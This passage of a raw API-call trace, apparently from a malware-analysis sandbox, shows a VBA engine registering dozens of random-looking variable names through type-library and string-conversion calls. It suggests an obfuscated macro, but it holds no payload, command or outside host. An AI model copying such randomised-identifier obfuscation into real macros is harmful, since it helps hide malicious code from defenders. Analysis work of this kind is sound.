cbMultiByte=10, lpWideCharStr=0xd39302a, cchWideChar=22 | out: lpWideCharStr="pcvaKhqpwf") returned 10 [0019.079] VirtualAlloc (lpAddress=0x0, dwSize=0x4000, flAllocationType=0x1000, flProtect=0x4) returned 0xd3a0000 [0019.080] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="LtVATGhGk") returned 0x104502 [0019.080] strcpy_s (in: _Dst=0x305060, _DstSize=0xa, _Src="LtVATGhGk" | out: _Dst="LtVATGhGk") returned 0x0 [0019.080] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x305060, cbMultiByte=10, lpWideCharStr=0x304eb0, cchWideChar=10 | out: lpWideCharStr="LtVATGhGk") returned 10 [0019.080] IMalloc:Alloc (This=0x7fefe9e5380, cb=0x11) returned 0x79720e0 [0019.080] strcpy_s (in: _Dst=0x305210, _DstSize=0x11, _Src="_B_var_LtVATGhGk" | out: _Dst="_B_var_LtVATGhGk") returned 0x0 [0019.080] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x305210, cbMultiByte=17, lpWideCharStr=0x305060, cchWideChar=17 | out: lpWideCharStr="_B_var_LtVATGhGk") returned 17 [0019.080] VirtualAlloc (lpAddress=0x0, dwSize=0x4000, flAllocationType=0x1000, flProtect=0x4) returned 0xd3b0000 [0019.081] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="LfrqYul") returned 0x1023be [0019.081] strcpy_s (in: _Dst=0x305060, _DstSize=0x8, _Src="LfrqYul" | out: _Dst="LfrqYul") returned 0x0 [0019.081] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x305060, cbMultiByte=8, lpWideCharStr=0x304eb0, cchWideChar=8 | out: lpWideCharStr="LfrqYul") returned 8 [0019.081] IUnknown:AddRef (This=0x7919520) returned 0x11 [0019.081] ITypeLib:RemoteIsName (in: This=0x7919520, szNameBuf="LfrqYul", lHashVal=0x1023be, pfName=0x304f80, pBstrLibName=0x304eb0 | out: pfName=0x304f80*=0, pBstrLibName=0x304eb0) returned 0x0 [0019.081] IUnknown:Release (This=0x7919520) returned 0x10 [0019.081] IUnknown:AddRef (This=0x7346470) returned 0xc [0019.081] ITypeLib:RemoteIsName (in: This=0x7346470, szNameBuf="LfrqYul", lHashVal=0x1023be, pfName=0x304f80, pBstrLibName=0x304eb0 | out: pfName=0x304f80*=0, pBstrLibName=0x304eb0) returned 0x0 [0019.081] IUnknown:Release (This=0x7346470) returned 0xb [0019.081] IUnknown:AddRef (This=0x7345930) returned 0x8 [0019.081] ITypeLib:RemoteIsName (in: This=0x7345930, szNameBuf="LfrqYul", lHashVal=0x1023be, pfName=0x304f80, pBstrLibName=0x304eb0 | out: pfName=0x304f80*=0, pBstrLibName=0x304eb0) returned 0x0 [0019.081] IUnknown:Release (This=0x7345930) returned 0x7 [0019.081] IUnknown:AddRef (This=0x7919ac0) returned 0x5 [0019.081] ITypeLib:RemoteIsName (in: This=0x7919ac0, szNameBuf="LfrqYul", lHashVal=0x1023be, pfName=0x304f80, pBstrLibName=0x304eb0 | out: pfName=0x304f80*=0, pBstrLibName=0x304eb0) returned 0x0 [0019.081] IUnknown:Release (This=0x7919ac0) returned 0x4 [0019.081] IMalloc:Alloc (This=0x7fefe9e5380, cb=0xf) returned 0x79720e0 [0019.081] strcpy_s (in: _Dst=0x305210, _DstSize=0xf, _Src="_B_var_LfrqYul" | out: _Dst="_B_var_LfrqYul") returned 0x0 [0019.081] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x305210, cbMultiByte=15, lpWideCharStr=0x305060, cchWideChar=15 | out: lpWideCharStr="_B_var_LfrqYul") returned 15 [0019.081] IUnknown:AddRef (This=0x7919520) returned 0x11 [0019.081] ITypeLib:RemoteIsName (in: This=0x7919520, szNameBuf="_B_var_LfrqYul", lHashVal=0x102742, pfName=0x305130, pBstrLibName=0x305060 | out: pfName=0x305130*=0, pBstrLibName=0x305060) returned 0x0 [0019.081] IUnknown:Release (This=0x7919520) returned 0x10 [0019.081] IUnknown:AddRef (This=0x7346470) returned 0xc [0019.081] ITypeLib:RemoteIsName (in: This=0x7346470, szNameBuf="_B_var_LfrqYul", lHashVal=0x102742, pfName=0x305130, pBstrLibName=0x305060 | out: pfName=0x305130*=0, pBstrLibName=0x305060) returned 0x0 [0019.081] IUnknown:Release (This=0x7346470) returned 0xb [0019.082] IUnknown:AddRef (This=0x7345930) returned 0x8 [0019.082] ITypeLib:RemoteIsName (in: This=0x7345930, szNameBuf="_B_var_LfrqYul", lHashVal=0x102742, pfName=0x305130, pBstrLibName=0x305060 | out: pfName=0x305130*=0, pBstrLibName=0x305060) returned 0x0 [0019.082] IUnknown:Release (This=0x7345930) returned 0x7 [0019.082] IUnknown:AddRef (This=0x7919ac0) returned 0x5 [0019.082] ITypeLib:RemoteIsName (in: This=0x7919ac0, szNameBuf="_B_var_LfrqYul", lHashVal=0x102742, pfName=0x305130, pBstrLibName=0x305060 | out: pfName=0x305130*=0, pBstrLibName=0x305060) returned 0x0 [0019.082] IUnknown:Release (This=0x7919ac0) returned 0x4 [0019.082] IUnknown:AddRef (This=0x7919520) returned 0x11 [0019.082] IUnknown:Release (This=0x7919520) returned 0x10 [0019.082] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xbb798d6, cbMultiByte=10, lpWideCharStr=0xd3b0bd6, cchWideChar=22 | out: lpWideCharStr="lQzSqfmPVa") returned 10 [0019.082] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xbb798ea, cbMultiByte=10, lpWideCharStr=0xd3b0d80, cchWideChar=22 | out: lpWideCharStr="iUiMuzHPUO") returned 10 [0019.082] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xbb798fe, cbMultiByte=10, lpWideCharStr=0xd3b0f2a, cchWideChar=22 | out: lpWideCharStr="zmVIwLVrRf") returned 10 [0019.082] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xbb79912, cbMultiByte=10, lpWideCharStr=0xd3b10d4, cchWideChar=22 | out: lpWideCharStr="jsmKSjduUX") returned 10 [0019.082] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xbb79926, cbMultiByte=10, lpWideCharStr=0xd3b127e, cchWideChar=22 | out: lpWideCharStr="pHzMKsqAbH") returned 10 [0019.082] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xbb7993a, cbMultiByte=10, lpWideCharStr=0xd3b1428, cchWideChar=22 | out: lpWideCharStr="YRjknwuoWf") returned 10 [0019.083] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xbb7994e, cbMultiByte=10, lpWideCharStr=0xd3b15d2, cchWideChar=22 | out: lpWideCharStr="KvzqrqhUtL") returned 10 [0019.083] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="owRBPJW") returned 0x109508 [0019.083] strcpy_s (in: _Dst=0x305060, _DstSize=0x8, _Src="owRBPJW" | out: _Dst="owRBPJW") returned 0x0 [0019.083] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x305060, cbMultiByte=8, lpWideCharStr=0x304eb0, cchWideChar=8 | out: lpWideCharStr="owRBPJW") returned 8 [0019.083] IUnknown:AddRef (This=0x7919520) returned 0x11 [0019.083] ITypeLib:RemoteIsName (in: This=0x7919520, szNameBuf="owRBPJW", lHashVal=0x109508, pfName=0x304f80, pBstrLibName=0x304eb0 | out: pfName=0x304f80*=0, pBstrLibName=0x304eb0) returned 0x0 [0019.083] IUnknown:Release (This=0x7919520) returned 0x10 [0019.083] IUnknown:AddRef (This=0x7346470) returned 0xc [0019.083] ITypeLib:RemoteIsName (in: This=0x7346470, szNameBuf="owRBPJW", lHashVal=0x109508, pfName=0x304f80, pBstrLibName=0x304eb0 | out: pfName=0x304f80*=0, pBstrLibName=0x304eb0) returned 0x0 [0019.083] IUnknown:Release (This=0x7346470) returned 0xb [0019.083] IUnknown:AddRef (This=0x7345930) returned 0x8 [0019.083] ITypeLib:RemoteIsName (in: This=0x7345930, szNameBuf="owRBPJW", lHashVal=0x109508, pfName=0x304f80, pBstrLibName=0x304eb0 | out: pfName=0x304f80*=0, pBstrLibName=0x304eb0) returned 0x0 [0019.083] IUnknown:Release (This=0x7345930) returned 0x7 [0019.083] IUnknown:AddRef (This=0x7919ac0) returned 0x5 [0019.083] ITypeLib:RemoteIsName (in: This=0x7919ac0, szNameBuf="owRBPJW", lHashVal=0x109508, pfName=0x304f80, pBstrLibName=0x304eb0 | out: pfName=0x304f80*=0, pBstrLibName=0x304eb0) returned 0x0 [0019.083] IUnknown:Release (This=0x7919ac0) returned 0x4 [0019.083] IMalloc:Alloc (This=0x7fefe9e5380, cb=0xf) returned 0x79720e0 [0019.083] strcpy_s (in: _Dst=0x305210, _DstSize=0xf, _Src="_B_var_owRBPJW" | out: _Dst="_B_var_owRBPJW") returned 0x0 [0019.083] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x305210, cbMultiByte=15, lpWideCharStr=0x305060, cchWideChar=15 | out: lpWideCharStr="_B_var_owRBPJW") returned 15 [0019.083] IUnknown:AddRef (This=0x7919520) returned 0x11 [0019.083] ITypeLib:RemoteIsName (in: This=0x7919520, szNameBuf="_B_var_owRBPJW", lHashVal=0x10988c, pfName=0x305130, pBstrLibName=0x305060 | out: pfName=0x305130*=0, pBstrLibName=0x305060) returned 0x0 [0019.083] IUnknown:Release (This=0x7919520) returned 0x10 [0019.083] IUnknown:AddRef (This=0x7346470) returned 0xc [0019.083] ITypeLib:RemoteIsName (in: This=0x7346470, szNameBuf="_B_var_owRBPJW", lHashVal=0x10988c, pfName=0x305130, pBstrLibName=0x305060 | out: pfName=0x305130*=0, pBstrLibName=0x305060) returned 0x0 [0019.083] IUnknown:Release (This=0x7346470) returned 0xb [0019.083] IUnknown:AddRef (This=0x7345930) returned 0x8 [0019.084] ITypeLib:RemoteIsName (in: This=0x7345930, szNameBuf="_B_var_owRBPJW", lHashVal=0x10988c, pfName=0x305130, pBstrLibName=0x305060 | out: pfName=0x305130*=0, pBstrLibName=0x305060) returned 0x0 [0019.084] IUnknown:Release (This=0x7345930) returned 0x7 [0019.084] IUnknown:AddRef (This=0x7919ac0) returned 0x5 [0019.084] ITypeLib:RemoteIsName (in: This=0x7919ac0, szNameBuf="_B_var_owRBPJW", lHashVal=0x10988c, pfName=0x305130, pBstrLibName=0x305060 | out: pfName=0x305130*=0, pBstrLibName=0x305060) returned 0x0 [0019.084] IUnknown:Release (This=0x7919ac0) returned 0x4 [0019.084] IUnknown:AddRef (This=0x7919520) returned 0x11 [0019.084] IUnknown:Release (This=0x7919520) returned 0x10 [0019.084] VirtualAlloc (lpAddress=0x0, dwSize=0x4000, flAllocationType=0x1000, flProtect=0x4) returned 0xd3c0000 [0019.085] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="RcbnDP") returned 0x100785 [0019.085] strcpy_s (in: _Dst=0x305060, _DstSize=0x7, _Src="RcbnDP" | out: _Dst="RcbnDP") returned 0x0 [0019.085] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x305060, cbMultiByte=7, lpWideCharStr=0x304eb0, cchWideChar=7 | out: lpWideCharStr="RcbnDP") returned 7 [0019.085] IUnknown:AddRef (This=0x7919520) returned 0x11 [0019.085] ITypeLib:RemoteIsName (in: This=0x7919520, szNameBuf="RcbnDP", lHashVal=0x100785, pfName=0x304f80, pBstrLibName=0x304eb0 | out: pfName=0x304f80*=0, pBstrLibName=0x304eb0) returned 0x0 [0019.085] IUnknown:Release (This=0x7919520) returned 0x10 [0019.085] IUnknown:AddRef (This=0x7346470) returned 0xc [0019.085] ITypeLib:RemoteIsName (in: This=0x7346470, szNameBuf="RcbnDP", lHashVal=0x100785, pfName=0x304f80, pBstrLibName=0x304eb0 | out: pfName=0x304f80*=0, pBstrLibName=0x304eb0) returned 0x0 [0019.085] IUnknown:Release (This=0x7346470) returned 0xb [0019.085] IUnknown:AddRef (This=0x7345930) returned 0x8 [0019.085] ITypeLib:RemoteIsName (in: This=0x7345930, szNameBuf="RcbnDP", lHashVal=0x100785, pfName=0x304f80, pBstrLibName=0x304eb0 | out: pfName=0x304f80*=0, pBstrLibName=0x304eb0) returned 0x0 [0019.085] IUnknown:Release (This=0x7345930) returned 0x7 [0019.085] IUnknown:AddRef (This=0x7919ac0) returned 0x5 [0019.085] ITypeLib:RemoteIsName (in: This=0x7919ac0, szNameBuf="RcbnDP", lHashVal=0x100785, pfName=0x304f80, pBstrLibName=0x304eb0 | out: pfName=0x304f80*=0, pBstrLibName=0x304eb0) returned 0x0 [0019.085] IUnknown:Release (This=0x7919ac0) returned 0x4 [0019.085] IMalloc:Alloc (This=0x7fefe9e5380, cb=0xe) returned 0x79720e0 [0019.085] strcpy_s (in: _Dst=0x305210, _DstSize=0xe, _Src="_B_var_RcbnDP" | out: _Dst="_B_var_RcbnDP") returned 0x0 [0019.085] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x305210, cbMultiByte=14, lpWideCharStr=0x305060, cchWideChar=14 | out: lpWideCharStr="_B_var_RcbnDP") returned 14 [0019.085] IUnknown:AddRef (This=0x7919520) returned 0x11 [0019.085] ITypeLib:RemoteIsName (in: This=0x7919520, szNameBuf="_B_var_RcbnDP", lHashVal=0x10822e, pfName=0x305130, pBstrLibName=0x305060 | out: pfName=0x305130*=0, pBstrLibName=0x305060) returned 0x0 [0019.085] IUnknown:Release (This=0x7919520) returned 0x10 [0019.085] IUnknown:AddRef (This=0x7346470) returned 0xc [0019.085] ITypeLib:RemoteIsName (in: This=0x7346470, szNameBuf="_B_var_RcbnDP", lHashVal=0x10822e, pfName=0x305130, pBstrLibName=0x305060 | out: pfName=0x305130*=0, pBstrLibName=0x305060) returned 0x0 [0019.085] IUnknown:Release (This=0x7346470) returned 0xb [0019.086] IUnknown:AddRef (This=0x7345930) returned 0x8 [0019.086] ITypeLib:RemoteIsName (in: This=0x7345930, szNameBuf="_B_var_RcbnDP", lHashVal=0x10822e, pfName=0x305130, pBstrLibName=0x305060 | out: pfName=0x305130*=0, pBstrLibName=0x305060) returned 0x0 [0019.086] IUnknown:Release (This=0x7345930) returned 0x7 [0019.086] IUnknown:AddRef (This=0x7919ac0) returned 0x5 [0019.086] ITypeLib:RemoteIsName (in: This=0x7919ac0, szNameBuf="_B_var_RcbnDP", lHashVal=0x10822e, pfName=0x305130, pBstrLibName=0x305060 | out: pfName=0x305130*=0, pBstrLibName=0x305060) returned 0x0 [0019.086] IUnknown:Release (This=0x7919ac0) returned 0x4 [0019.086] IUnknown:AddRef (This=0x7919520) returned 0x11 [0019.086] IUnknown:Release (This=0x7919520) returned 0x10 [0019.086] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xbb799be, cbMultiByte=10, lpWideCharStr=0xd3c0c06, cchWideChar=22 | out: lpWideCharStr="ZXaFuXapiR") returned 10 [0019.086] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xbb799d2, cbMultiByte=10, lpWideCharStr=0xd3c0db0, cchWideChar=22 | out: lpWideCharStr="cKzdYSwdQi") returned 10 [0019.086] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xbb799e6, cbMultiByte=10, lpWideCharStr=0xd3c0f5a, cchWideChar=22 | out: lpWideCharStr="BIbpIqYzcX") returned 10 [0019.086] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xbb799fa, cbMultiByte=10, lpWideCharStr=0xd3c1104, cchWideChar=22 | out: lpWideCharStr="OAnhqiFbQu") returned 10 [0019.086] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xbb79a0e, cbMultiByte=10, lpWideCharStr=0xd3c12ae, cchWideChar=22 | out: lpWideCharStr="aVaXqWFICJ") returned 10 [0019.086] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xbb79a22, cbMultiByte=10, lpWideCharStr=0xd3c1458, cchWideChar=22 | out: lpWideCharStr="jiNYLQvlwD") returned 10 [0019.086] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xbb79a36, cbMultiByte=10, lpWideCharStr=0xd3c1602, cchWideChar=22 | out: lpWideCharStr="zaNLDbWSmt") returned 10 [0019.087] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="TvTmYdO") returned 0x108816 [0019.087] strcpy_s (in: _Dst=0x305060, _DstSize=0x8, _Src="TvTmYdO" | out: _Dst="TvTmYdO") returned 0x0 [0019.087] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x305060, cbMultiByte=8, lpWideCharStr=0x304eb0, cchWideChar=8 | out: lpWideCharStr="TvTmYdO") returned 8 [0019.087] IUnknown:AddRef (This=0x7919520) returned 0x11 [0019.087] ITypeLib:RemoteIsName (in: This=0x7919520, szNameBuf="TvTmYdO", lHashVal=0x108816, pfName=0x304f80, pBstrLibName=0x304eb0 | out: pfName=0x304f80*=0, pBstrLibName=0x304eb0) returned 0x0 [0019.087] IUnknown:Release (This=0x7919520) returned 0x10 [0019.087] IUnknown:AddRef (This=0x7346470) returned 0xc [0019.087] ITypeLib:RemoteIsName (in: This=0x7346470, szNameBuf="TvTmYdO", lHashVal=0x108816, pfName=0x304f80, pBstrLibName=0x304eb0 | out: pfName=0x304f80*=0, pBstrLibName=0x304eb0) returned 0x0 [0019.087] IUnknown:Release (This=0x7346470) returned 0xb [0019.087] IUnknown:AddRef (This=0x7345930) returned 0x8 [0019.087] ITypeLib:RemoteIsName (in: This=0x7345930, szNameBuf="TvTmYdO", lHashVal=0x108816, pfName=0x304f80, pBstrLibName=0x304eb0 | out: pfName=0x304f80*=0, pBstrLibName=0x304eb0) returned 0x0 [0019.087] IUnknown:Release (This=0x7345930) returned 0x7 [0019.087] IUnknown:AddRef (This=0x7919ac0) returned 0x5 [0019.087] ITypeLib:RemoteIsName (in: This=0x7919ac0, szNameBuf="TvTmYdO", lHashVal=0x108816, pfName=0x304f80, pBstrLibName=0x304eb0 | out: pfName=0x304f80*=0, pBstrLibName=0x304eb0) returned 0x0 [0019.087] IUnknown:Release (This=0x7919ac0) returned 0x4 [0019.087] IMalloc:Alloc (This=0x7fefe9e5380, cb=0xf) returned 0x79720e0 [0019.087] strcpy_s (in: _Dst=0x305210, _DstSize=0xf, _Src="_B_var_TvTmYdO" | out: _Dst="_B_var_TvTmYdO") returned 0x0 [0019.087] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x305210, cbMultiByte=15, lpWideCharStr=0x305060, cchWideChar=15 | out: lpWideCharStr="_B_var_TvTmYdO") returned 15 [0019.087] IUnknown:AddRef (This=0x7919520) returned 0x11 [0019.087] ITypeLib:RemoteIsName (in: This=0x7919520, szNameBuf="_B_var_TvTmYdO", lHashVal=0x108b9a, pfName=0x305130, pBstrLibName=0x305060 | out: pfName=0x305130*=0, pBstrLibName=0x305060) returned 0x0 [0019.087] IUnknown:Release (This=0x7919520) returned 0x10 [0019.087] IUnknown:AddRef (This=0x7346470) returned 0xc [0019.087] ITypeLib:RemoteIsName (in: This=0x7346470, szNameBuf="_B_var_TvTmYdO", lHashVal=0x108b9a, pfName=0x305130, pBstrLibName=0x305060 | out: pfName=0x305130*=0, pBstrLibName=0x305060) returned 0x0 [0019.087] IUnknown:Release (This=0x7346470) returned 0xb [0019.087] IUnknown:AddRef (This=0x7345930) returned 0x8 [0019.087] ITypeLib:RemoteIsName (in: This=0x7345930, szNameBuf="_B_var_TvTmYdO", lHashVal=0x108b9a, pfName=0x305130, pBstrLibName=0x305060 | out: pfName=0x305130*=0, pBstrLibName=0x305060) returned 0x0 [0019.087] IUnknown:Release (This=0x7345930) returned 0x7 [0019.087] IUnknown:AddRef (This=0x7919ac0) returned 0x5 [0019.087] ITypeLib:RemoteIsName (in: This=0x7919ac0, szNameBuf="_B_var_TvTmYdO", lHashVal=0x108b9a, pfName=0x305130, pBstrLibName=0x305060 | out: pfName=0x305130*=0, pBstrLibName=0x305060) returned 0x0 [0019.087] IUnknown:Release (This=0x7919ac0) returned 0x4 [0019.087] IUnknown:AddRef (This=0x7919520) returned 0x11 [0019.088] IUnknown:Release (This=0x7919520) returned 0x10 [0019.088] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xbb79a6e, cbMultiByte=10, lpWideCharStr=0xd3c3ebe, cchWideChar=22 | out: lpWideCharStr="VUPJGRIBXU") returned 10 [0019.088] VirtualAlloc (lpAddress=0x0, dwSize=0x4000, flAllocationType=0x1000, flProtect=0x4) returned 0xd3d0000 [0019.089] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xbb79a82, cbMultiByte=10, lpWideCharStr=0xd3d00a4, cchWideChar=22 | out: lpWideCharStr="opXoNtJGVU") returned 10 [0019.089] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xbb79a96, cbMultiByte=10, lpWideCharStr=0xd3d024e, cchWideChar=22 | out: lpWideCharStr="LVGPlKVmLv") returned 10 [0019.089] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xbb79aaa, cbMultiByte=10, lpWideCharStr=0xd3d03f8, cchWideChar=22 | out: lpWideCharStr="IlqSKpjojZ") returned 10 [0019.089] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xbb79abe, cbMultiByte=10, lpWideCharStr=0xd3d05a2, cchWideChar=22 | out: lpWideCharStr="ifwYXjqHjf") returned 10 [0019.089] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xbb79ad2, cbMultiByte=10, lpWideCharStr=0xd3d074c, cchWideChar=22 | out: lpWideCharStr="iindszNzXv") returned 10 [0019.090] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xbb79ae6, cbMultiByte=10, lpWideCharStr=0xd3d08f6, cchWideChar=22 | out: lpWideCharStr="vVqcMDwEdX") returned 10 [0019.090] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="iBSFSoo") returned 0x10196d [0019.090] strcpy_s (in: _Dst=0x305060, _DstSize=0x8, _Src="iBSFSoo" | out: _Dst="iBSFSoo") returned 0x0 [0019.090] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x305060, cbMultiByte=8, lpWideCharStr=0x304eb0, cchWideChar=8 | out: lpWideCharStr="iBSFSoo") returned 8 [0019.090] IUnknown:AddRef (This=0x7919520) returned 0x11 [0019.090] ITypeLib:RemoteIsName (in: This=0x7919520, szNameBuf="iBSFSoo", lHashVal=0x10196d, pfName=0x304f80, pBstrLibName=0x304eb0 | out: pfName=0x304f80*=0, pBstrLibName=0x304eb0) returned 0x0 [0019.090] IUnknown:Release (This=0x7919520) returned 0x10 [0019.090] IUnknown:AddRef (This=0x7346470) returned 0xc [0019.090] ITypeLib:RemoteIsName (in: This=0x7346470, szNameBuf="iBSFSoo", lHashVal=0x10196d, pfName=0x304f80, pBstrLibName=0x304eb0 | out: pfName=0x304f80*=0, pBstrLibName=0x304eb0) returned 0x0 [0019.090] IUnknown:Release (This=0x7346470) returned 0xb [0019.090] IUnknown:AddRef (This=0x7345930) returned 0x8 [0019.090] ITypeLib:RemoteIsName (in: This=0x7345930, szNameBuf="iBSFSoo", lHashVal=0x10196d, pfName=0x304f80, pBstrLibName=0x304eb0 | out: pfName=0x304f80*=0, pBstrLibName=0x304eb0) returned 0x0 [0019.090] IUnknown:Release (This=0x7345930) returned 0x7 [0019.090] IUnknown:AddRef (This=0x7919ac0) returned 0x5 [0019.090] ITypeLib:RemoteIsName (in: This=0x7919ac0, szNameBuf="iBSFSoo", lHashVal=0x10196d, pfName=0x304f80, pBstrLibName=0x304eb0 | out: pfName=0x304f80*=0, pBstrLibName=0x304eb0) returned 0x0 [0019.090] IUnknown:Release (This=0x7919ac0) returned 0x4 [0019.090] IMalloc:Alloc (This=0x7fefe9e5380, cb=0xf) returned 0x79720e0 [0019.090] strcpy_s (in: _Dst=0x305210, _DstSize=0xf, _Src="_B_var_iBSFSoo" | out: _Dst="_B_var_iBSFSoo") returned 0x0 [0019.090] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x305210, cbMultiByte=15, lpWideCharStr=0x305060, cchWideChar=15 | out: lpWideCharStr="_B_var_iBSFSoo") returned 15 [0019.090] IUnknown:AddRef (This=0x7919520) returned 0x11 [0019.090] ITypeLib:RemoteIsName (in: This=0x7919520, szNameBuf="_B_var_iBSFSoo", lHashVal=0x101cf1, pfName=0x305130, pBstrLibName=0x305060 | out: pfName=0x305130*=0, pBstrLibName=0x305060) returned 0x0 [0019.090] IUnknown:Release (This=0x7919520) returned 0x10 [0019.090] IUnknown:AddRef (This=0x7346470) returned 0xc [0019.090] ITypeLib:RemoteIsName (in: This=0x7346470, szNameBuf="_B_var_iBSFSoo", lHashVal=0x101cf1, pfName=0x305130, pBstrLibName=0x305060 | out: pfName=0x305130*=0, pBstrLibName=0x305060) returned 0x0 [0019.091] IUnknown:Release (This=0x7346470) returned 0xb [0019.091] IUnknown:AddRef (This=0x7345930) returned 0x8 [0019.091] ITypeLib:RemoteIsName (in: This=0x7345930, szNameBuf="_B_var_iBSFSoo", lHashVal=0x101cf1, pfName=0x305130, pBstrLibName=0x305060 | out: pfName=0x305130*=0, pBstrLibName=0x305060) returned 0x0 [0019.091] IUnknown:Release (This=0x7345930) returned 0x7 [0019.091] IUnknown:AddRef (This=0x7919ac0) returned 0x5 [0019.091] ITypeLib:RemoteIsName (in: This=0x7919ac0, szNameBuf="_B_var_iBSFSoo", lHashVal=0x101cf1, pfName=0x305130, pBstrLibName=0x305060 | out: pfName=0x305130*=0, pBstrLibName=0x305060) returned 0x0 [0019.091] IUnknown:Release (This=0x7919ac0) returned 0x4 [0019.091] IUnknown:AddRef (This=0x7919520) returned 0x11 [0019.091] IUnknown:Release (This=0x7919520) returned 0x10 [0019.091] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xbb79b1e, cbMultiByte=10, lpWideCharStr=0xd3d31b2, cchWideChar=22 | out: lpWideCharStr="HdaSXWKiwq") returned 10 [0019.091] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xbb79b32, cbMultiByte=10, lpWideCharStr=0xd3d335c, cchWideChar=22 | out: lpWideCharStr="vauOZzORhB") returned 10 [0019.091] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xbb79b46, cbMultiByte=10, lpWideCharStr=0xd3d3506, cchWideChar=22 | out: lpWideCharStr="IHUUdKwvJZ") returned 10 [0019.091] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xbb79b5a, cbMultiByte=10, lpWideCharStr=0xd3d36b0, cchWideChar=22 | out: lpWideCharStr="cacfskfDpO") returned 10 [0019.091] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xbb79b6e, cbMultiByte=10, lpWideCharStr=0xd3d385a, cchWideChar=22 | out: lpWideCharStr="kpBWBUlqAP") returned 10 [0019.091] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xbb79b82, cbMultiByte=10, lpWideCharStr=0xd3d3a04, cchWideChar=22 | out: lpWideCharStr="ipcNaAIGoN") returned 10 [0019.092] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xbb79b96, cbMultiByte=10, lpWideCharStr=0xd3d3bae, cchWideChar=22 | out: lpWideCharStr="XOZWOVzOVp") returned 10 [0019.092] VirtualAlloc (lpAddress=0x0, dwSize=0x4000, flAllocationType=0x1000, flProtect=0x4) returned 0xd3e0000 [0019.093] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="jputJ") returned 0x103a01 [0019.093] strcpy_s (in: _Dst=0x305060, _DstSize=0x6, _Src="jputJ" | out: _Dst="jputJ") returned 0x0 [0019.093] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x305060, cbMultiByte=6, lpWideCharStr=0x304eb0, cchWideChar=6 | out: lpWideCharStr="jputJ") returned 6 [0019.093] IUnknown:AddRef (This=0x7919520) returned 0x11 [0019.093] ITypeLib:RemoteIsName (in: This=0x7919520, szNameBuf="jputJ", lHashVal=0x103a01, pfName=0x304f80, pBstrLibName=0x304eb0 | out: pfName=0x304f80*=0, pBstrLibName=0x304eb0) returned 0x0 [0019.093] IUnknown:Release (This=0x7919520) returned 0x10 [0019.093] IUnknown:AddRef (This=0x7346470) returned 0xc [0019.093] ITypeLib:RemoteIsName (in: This=0x7346470, szNameBuf="jputJ", lHashVal=0x103a01, pfName=0x304f80, pBstrLibName=0x304eb0 | out: pfName=0x304f80*=0, pBstrLibName=0x304eb0) returned 0x0 [0019.093] IUnknown:Release (This=0x7346470) returned 0xb [0019.093] IUnknown:AddRef (This=0x7345930) returned 0x8 [0019.093] ITypeLib:RemoteIsName (in: This=0x7345930, szNameBuf="jputJ", lHashVal=0x103a01, pfName=0x304f80, pBstrLibName=0x304eb0 | out: pfName=0x304f80*=0, pBstrLibName=0x304eb0) returned 0x0 [0019.093] 